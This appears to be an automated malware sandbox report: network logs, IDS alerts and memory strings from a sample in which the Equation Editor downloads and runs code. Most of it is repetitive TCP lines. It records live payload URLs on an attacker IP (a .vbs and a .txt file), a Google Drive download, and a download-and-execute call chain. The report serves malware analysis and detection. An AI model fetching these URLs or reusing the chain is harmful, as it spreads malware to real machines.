Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 142.250.186.97:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 107.172.31.13:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.186.97:443 -> 192.168.2.22:49167

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 107.172.31.13 107.172.31.13

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

DNS query: name: ip-api.com

Source: global traffic

HTTP traffic detected: GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.31.13Connection: Keep-Alive

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: EQNEDT32.EXE, 00000002.00000002.471753708.000000000026F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbs
Source: EQNEDT32.EXE, 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbsj
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: AddInProcess32.exe, 00000009.00000002.628239471.000000000244C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.627062305.000000000095C000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
